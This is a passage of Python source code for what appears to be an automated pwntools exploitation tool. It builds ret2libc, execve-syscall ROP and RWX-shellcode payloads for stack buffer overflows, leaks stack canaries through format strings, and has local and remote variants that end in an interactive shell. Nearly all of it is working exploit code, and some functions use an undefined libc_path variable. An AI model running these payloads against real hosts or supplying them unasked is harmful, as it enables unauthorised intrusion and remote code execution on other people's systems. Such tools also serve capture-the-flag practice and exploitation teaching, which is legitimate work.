print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") io.recv() ret_addr = p64(int(ret_addr, 16)) # Second payload: call system("/bin/sh") if other_rdi_registers == 1: payload2 = flat([ asm('nop') * padding, pop_rdi_addr, p64(sh_addr), p64(0), ret_addr, p64(system_addr), p64(0) ]) else: payload2 = flat([ asm('nop') * padding, pop_rdi_addr, p64(sh_addr), ret_addr, p64(system_addr) ]) io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x64', payload2, padding, { 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x64' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def execve_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80): """execve syscall exploitation (x32)""" print_section_header("EXPLOITATION: execve syscall - x32") print_payload("preparing execve syscall exploit") if pop_ecx_addr == None: io = process(program) e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) handle_exploitation_success( exploit_type='execve syscall - x32 (ecx_ebx)', payload=payload, padding=padding, addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ecx_ebx_addr': pop_ecx_ebx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80}, vulnerability_type='Buffer Overflow', architecture='x32' ) io.interactive() else: io = process(program) e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_addr = int(pop_ecx_addr, 16) pop_ecx_addr = p32(pop_ecx_addr) pop_ebx_addr = int(pop_ebx_addr, 16) pop_ebx_addr = p32(pop_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) handle_exploitation_success( exploit_type='execve syscall - x32 (separate)', payload=payload, padding=padding, addresses={'bin_sh_addr': bin_sh_addr, 'pop_eax_addr': pop_eax_addr, 'pop_ebx_addr': pop_ebx_addr, 'pop_ecx_addr': pop_ecx_addr, 'pop_edx_addr': pop_edx_addr, 'int_0x80': int_0x80}, vulnerability_type='Buffer Overflow', architecture='x32' ) io.interactive() def rwx_shellcode_x32(program, buf_addr, padding, function_name, ret_addr): """RWX shellcode exploitation (x32)""" print_section_header("EXPLOITATION: RWX Shellcode - x32") print_payload("preparing RWX shellcode exploit") io = process(program) elf = ELF(program) buf_addr = int(buf_addr, 16) buf_addr = p32(buf_addr) name_addr = elf.symbols[function_name] shellcode = asm(shellcraft.sh()) print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)]) io.recv() io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def rwx_shellcode_x64(program, buf_addr, padding, function_name, ret_addr, libc_path): """RWX shellcode exploitation (x64)""" print_section_header("EXPLOITATION: RWX Shellcode - x64") print_payload("preparing RWX shellcode exploit") io = process(program) elf = ELF(program) buf_addr = int(buf_addr, 16) buf_addr = p64(buf_addr) name_addr = elf.symbols[function_name] shellcode = asm(shellcraft.sh()) print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)]) io.recv() io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_x32_remote(program, libc, padding, url, port): """Remote ret2libc exploitation using puts for x32 architecture""" print_section_header("EXPLOITATION: ret2libc (puts) - x32 Remote") print_payload("preparing remote ret2libc exploit using puts function") io = remote(url, port) if libc == 1: print_info("using LibcSearcher for libc resolution") else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] print_info(f"main address: {Colors.YELLOW}{hex(main_addr)}{Colors.END}") print_info(f"puts@plt: {Colors.YELLOW}{hex(puts_plt)}{Colors.END}") print_info(f"puts@got: {Colors.YELLOW}{hex(puts_got)}{Colors.END}") # First payload: leak puts address payload1 = asm('nop') * padding + p32(puts_plt) + p32(main_addr) + p32(puts_got) print_payload("sending puts leak payload") io.recv() io.sendline(payload1) # Receive leaked puts address puts_addr = u32(io.recvuntil(b'\xf7')[-4:]) print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") if libc == 1: libc = LibcSearcher("puts", puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_puts = libc.symbols['puts'] system_addr = puts_addr - libc_puts + libc.symbols['system'] sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") # Second payload: execute system("/bin/sh") payload2 = asm('nop') * padding + p32(system_addr) + p32(0) + p32(sh_addr) io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x32 Remote', payload2, padding, { 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x32' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_x64_remote(program, libc, padding, pop_rdi_addr, pop_rsi_addr, ret_addr, other_rdi_registers, other_rsi_registers, url, port): """Remote ret2libc exploitation using puts for x64 architecture""" print_section_header("EXPLOITATION: ret2libc (puts) - x64 Remote") print_payload("preparing remote ret2libc exploit using puts function") io = remote(url, port) if libc == 1: print_info("using LibcSearcher for libc resolution") else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) # First payload: leak puts address from GOT payload1 = flat([ asm('nop') * padding, pop_rdi_addr, p64(puts_got), p64(puts_plt), p64(main_addr) ]) print_payload("sending puts leak payload") io.recv() io.sendline(payload1) # Receive leaked puts address puts_addr = u64(io.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00')) print_success(f"puts address leaked: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") # Calculate libc base and system, /bin/sh addresses if libc == 1: libc = LibcSearcher("puts", puts_addr) libcbase = puts_addr - libc.dump('puts') system_addr = libcbase + libc.dump('system') sh_addr = libcbase + libc.dump('str_bin_sh') else: libc_puts = libc.symbols['puts'] system_addr = puts_addr - libc_puts + libc.symbols['system'] sh_addr = puts_addr - libc_puts + next(libc.search(b'/bin/sh')) print_success(f"system address calculated: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") print_success(f"/bin/sh address calculated: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") io.recv() ret_addr = p64(int(ret_addr, 16)) # Second payload: call system("/bin/sh") if other_rdi_registers == 1: payload2 = flat([ asm('nop') * padding, pop_rdi_addr, p64(sh_addr), p64(0), ret_addr, p64(system_addr), p64(0) ]) else: payload2 = flat([ asm('nop') * padding, pop_rdi_addr, p64(sh_addr), ret_addr, p64(system_addr) ]) io.sendline(payload2) # Handle successful exploitation handle_exploitation_success( 'ret2libc (puts) - x64 Remote', payload2, padding, { 'puts_plt': hex(puts_plt), 'puts_got': hex(puts_got), 'main': hex(main_addr), 'puts_addr': hex(puts_addr), 'system': hex(system_addr), 'sh': hex(sh_addr) }, 'Stack Buffer Overflow', 'x64' ) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def execve_syscall_remote(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, url, port): """Remote execve syscall exploitation for x32 architecture""" print_section_header("EXPLOITATION: execve syscall - x32 Remote") print_payload("preparing remote execve syscall exploit") io = remote(url, port) if pop_ecx_addr == None: e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() else: e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print_info(f"/bin/sh address: {Colors.YELLOW}{hex(bin_sh_addr)}{Colors.END}") pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_addr = int(pop_ecx_addr, 16) pop_ecx_addr = p32(pop_ecx_addr) pop_ebx_addr = int(pop_ebx_addr, 16) pop_ebx_addr = p32(pop_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) payload = flat([asm('nop') * padding, pop_eax_addr, 0xb, pop_ebx_addr, bin_sh_addr, pop_ecx_addr, 0, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def rwx_shellcode_x32_remote(program, buf_addr, padding, function_name, ret_addr, url, port): """Remote RWX shellcode exploitation for x32 architecture""" print_section_header("EXPLOITATION: RWX Shellcode - x32 Remote") print_payload("preparing remote RWX shellcode exploit") io = remote(url, port) elf = ELF(program) buf_addr = int(buf_addr, 16) buf_addr = p32(buf_addr) name_addr = elf.symbols[function_name] shellcode = asm(shellcraft.sh()) print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") payload = flat([shellcode.ljust(padding, asm('nop')), p32(name_addr)]) io.recv() io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def rwx_shellcode_x64_remote(program, buf_addr, padding, function_name, ret_addr, url, port): """Remote RWX shellcode exploitation for x64 architecture""" print_section_header("EXPLOITATION: RWX Shellcode - x64 Remote") print_payload("preparing remote RWX shellcode exploit") io = remote(url, port) elf = ELF(program) buf_addr = int(buf_addr, 16) buf_addr = p64(buf_addr) name_addr = elf.symbols[function_name] shellcode = asm(shellcraft.sh()) print_info(f"shellcode storage: {Colors.YELLOW}{function_name}{Colors.END}") print_info(f"shellcode size: {Colors.YELLOW}{len(shellcode)}{Colors.END} bytes") payload = flat([shellcode.ljust(padding, asm('nop')), p64(name_addr)]) io.recv() io.sendline(payload) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_canary_x32(program,libc,libc_path,padding,c,diff): """ret2libc exploitation with canary bypass using puts for x32 architecture""" print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32") print_payload("preparing ret2libc exploit with canary bypass using puts function") io = process(program) if libc == 1: if libc_path == None: print_info("using LibcSearcher for libc resolution") else: print_info("using user specified libc path") libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}") io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}") result = int(result, 16) canary = p32(result) print_info("constructing stage 1 payload to leak puts address") payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)]) io.recv() io.sendline(payload1) puts_addr=u32(io.recvuntil(b'\xf7')[-4:]) print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") print_info("calculating libc base and target addresses") if libc == 1: libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") sh_addr = libcbase + libc_sh print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") else: libc_puts = libc.symbols['puts'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = puts_addr - libc_puts + libc_system print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") sh_addr = puts_addr - libc_puts + libc_sh print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") print_info("re-leaking canary for stage 2 exploit") io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() print_info("constructing stage 2 payload for system call") payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)]) io.sendline(payload2) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_x32_canary_remote(program,libc,padding,url,port,c,diff): """Remote ret2libc exploitation with canary bypass using puts for x32 architecture""" print_section_header("EXPLOITATION: ret2libc (puts) with Canary Bypass - x32 Remote") print_payload(f"preparing remote ret2libc exploit with canary bypass to {Colors.YELLOW}{url}:{port}{Colors.END}") io = remote(url,port) if libc == 1: if libc_path == None: print_info("using LibcSearcher for libc resolution") else: print_info("using user specified libc path") libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] print_info(f"leaking canary value at position {Colors.YELLOW}{c}{Colors.END}") io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print_success(f"canary value: {Colors.YELLOW}{result}{Colors.END}") result = int(result, 16) canary = p32(result) print_info("constructing stage 1 payload to leak puts address") payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(puts_plt) , p32(main_addr) , p32(puts_got)]) io.recv() io.sendline(payload1) puts_addr=u32(io.recvuntil(b'\xf7')[-4:]) print_success(f"puts function address in libc: {Colors.YELLOW}{hex(puts_addr)}{Colors.END}") print_info("calculating libc base and target addresses") if libc == 1: libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") sh_addr = libcbase + libc_sh print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") else: libc_puts = libc.symbols['puts'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = puts_addr - libc_puts + libc_system print_success(f"system function address in libc: {Colors.YELLOW}{hex(system_addr)}{Colors.END}") sh_addr = puts_addr - libc_puts + libc_sh print_success(f"/bin/sh string address in libc: {Colors.YELLOW}{hex(sh_addr)}{Colors.END}") print_info("re-leaking canary for stage 2 exploit") io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() print_info("constructing stage 2 payload for system call") payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(system_addr) , p32(0) , p32(sh_addr)]) io.sendline(payload2) print_critical("EXPLOITATION SUCCESSFUL! Dropping to shell...") io.interactive() def ret2libc_put_canary_x64(program,libc,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,padding,c,diff): io = process(program) if libc == 1: if libc_path == None: print_info('Using LibcSearcher') else: print_warning('User did not specify libc path') libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)]) io.recv() io.sendline(payload1) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m') if libc == 1: libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = libcbase + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') else: libc_puts = libc.symbols['puts'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = puts_addr - libc_puts + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = puts_addr - libc_puts + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)]) else: payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)]) io.sendline(payload2) io.interactive() def ret2libc_put_x64_canary_remote(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,url,port,c,diff): io = remote(url,port) if libc == 1: if libc_path == None: print('[*]Using LibcSearcher') else: print('[*]User did not specify libc path') libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] puts_plt = e.symbols['puts'] puts_got = e.got['puts'] pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(puts_got), p64(puts_plt) , p64(main_addr)]) io.recv() io.sendline(payload1) puts_addr=u64(io.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00')) print(f'[*]puts function address in libc: \033[31m{hex(puts_addr)}\033[0m') if libc == 1: libc = LibcSearcher("puts",puts_addr) libcbase = puts_addr - libc.dump('puts') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = libcbase + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') else: libc_puts = libc.symbols['puts'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = puts_addr - libc_puts + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = puts_addr - libc_puts + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)]) else: payload2 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff , pop_rdi_addr , p64(sh_addr) ,ret_addr,p64(system_addr)]) io.sendline(payload2) io.interactive() def ret2libc_write_canary_x32(program,libc,padding,libc_path,c,diff): io = process(program) if libc == 1: if libc_path == None: print('[*]Using LibcSearcher') else: print('[*]User did not specify libc path') libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p32(result) payload1 = flat([asm('nop') * padding , canary , b'AAAA' * diff , p32(write_plt) , p32(main_addr) , p32(1) , p32(write_got) , p32(4)]) io.recv() io.sendline(payload1) write_addr = u32(io.recv(4)) print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') if libc == 1: libc = LibcSearcher("write",write_addr) libcbase = write_addr - libc.dump('write') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = libcbase + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') else: libc_write = libc.symbols['write'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = write_addr - libc_write + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = write_addr - libc_write + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() payload2 = flat([asm('nop') * padding , canary , b'AAAA' * diff, p32(system_addr) , p32(0) , p32(sh_addr)]) io.recv() io.sendline(payload2) io.interactive() def ret2libc_write_canary_x64(program,libc,padding,pop_rdi_addr, pop_rsi_addr, ret_addr ,other_rdi_registers ,other_rsi_registers,libc_path,c,diff): io = process(program) if libc == 1: if libc_path == None: print('[*]Using LibcSearcher') else: print('[*]User did not specify libc path') libc = ELF(libc_path) else: libc = ELF(libc) e = ELF(program) main_addr = e.symbols['main'] write_plt = e.symbols['write'] write_got = e.got['write'] if other_rsi_registers == 1: pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) pop_rsi_addr = int(pop_rsi_addr, 16) pop_rsi_addr = p64(pop_rsi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding , canary , b'AAAAAAAA' * diff ,pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(0) , p64(write_plt) , p64(main_addr)]) io.recv() io.sendline(payload1) elif other_rdi_registers == 1: pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) pop_rsi_addr = int(pop_rsi_addr, 16) pop_rsi_addr = p64(pop_rsi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(1) , p64(0), pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)]) io.recv() io.sendline(payload1) elif other_rdi_registers == 0 and other_rsi_registers == 0: pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) pop_rsi_addr = int(pop_rsi_addr, 16) pop_rsi_addr = p64(pop_rsi_addr) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p64(result) payload1 = flat([asm('nop') * padding , pop_rdi_addr , p64(1) , pop_rsi_addr , p64(write_got) , p64(write_plt) , p64(main_addr)]) io.recv() io.sendline(payload1) write_addr = u64(io.recv(8)) print(f'[*]write function address in libc: \033[31m{hex(write_addr)}\033[0m') if libc == 1: libc = LibcSearcher("write",write_addr) libcbase = write_addr - libc.dump('write') libc_system = libc.dump('system') libc_sh = libc.dump('str_bin_sh') system_addr = libcbase + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = libcbase + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') else: libc_write = libc.symbols['write'] libc_system = libc.symbols['system'] libc_sh = next(libc.search(b'/bin/sh')) system_addr = write_addr - libc_write + libc_system print(f'[*]system function address in libc: \033[31m{hex(system_addr)}\033[0m') sh_addr = write_addr - libc_write + libc_sh print(f'[*]/bin/sh string address in libc: \033[31m{hex(sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) io.recv() if other_rdi_registers == 1: payload2 = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff , pop_rdi_addr , p64(sh_addr), p64(0), p64(system_addr) , p64(0)]) else: payload2 = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(sh_addr) ,p64(system_addr) , p64(0)]) io.recv() io.sendline(payload2) io.interactive() def ret2_system_canary_x32(program, libc, padding, libc_path, c, diff): io = process(program) e = ELF(program) system_addr = e.symbols['system'] print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"Canary value is: {result}") result = int(result, 16) canary = p32(result) payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, p32(system_addr), p32(0), p32(bin_sh_addr)]) io.sendline(payload) io.interactive() def ret2_system_canary_x64(program, libc, padding, pop_rdi_addr, other_rdi_registers, ret_addr, libc_path, c, diff): if pop_rdi_addr == None: print("pop rdi instruction does not exist, cannot exploit") sys.exit(0) io = process(program) e = ELF(program) system_addr = e.symbols['system'] print(f'[*]system function address in program: \033[31m{hex(system_addr)}\033[0m') bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') print('\033[31m[*]PWN!!!\033[0m') io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p64(result) pop_rdi_addr = int(pop_rdi_addr, 16) pop_rdi_addr = p64(pop_rdi_addr) ret_addr = int(ret_addr, 16) ret_addr = p64(ret_addr) if other_rdi_registers == 1: payload = flat([asm('nop') * padding ,canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), p64(0),ret_addr, p64(system_addr) , p64(0)]) elif other_rdi_registers == 0: payload = flat([asm('nop') * padding , canary , b"AAAAAAAA" * diff, pop_rdi_addr , p64(bin_sh_addr), ret_addr,p64(system_addr)]) io.sendline(payload) io.interactive() def execve_canary_syscall(program, padding, pop_eax_addr, pop_ebx_addr, pop_ecx_addr, pop_edx_addr, pop_ecx_ebx_addr, ret_addr, int_0x80, c, diff): if pop_ecx_addr == None: io = process(program) e = ELF(program) bin_sh_addr = next(e.search(b'/bin/sh')) print(f'[*]/bin/sh string address in program: \033[31m{hex(bin_sh_addr)}\033[0m') pop_eax_addr = int(pop_eax_addr, 16) pop_eax_addr = p32(pop_eax_addr) pop_ecx_ebx_addr = int(pop_ecx_ebx_addr, 16) pop_ecx_ebx_addr = p32(pop_ecx_ebx_addr) pop_edx_addr = int(pop_edx_addr, 16) pop_edx_addr = p32(pop_edx_addr) int_0x80 = int(int_0x80, 16) int_0x80 = p32(int_0x80) io.recv() io.sendline(f'%{c}$p'.encode()) result = io.recvline().decode().strip() print(f"canary value is: {result}") result = int(result, 16) canary = p32(result) payload = flat([asm('nop') * padding, canary, b"AAAA" * diff, pop_eax_addr, 0xb, pop_ecx_ebx_addr, 0, bin_sh_addr, pop_edx_addr, 0, int_0x80]) io.recv() io.sendline(payload) print('\033[31m[*]PWN!!!\033[0m') io.interactive() else: io = process(program) 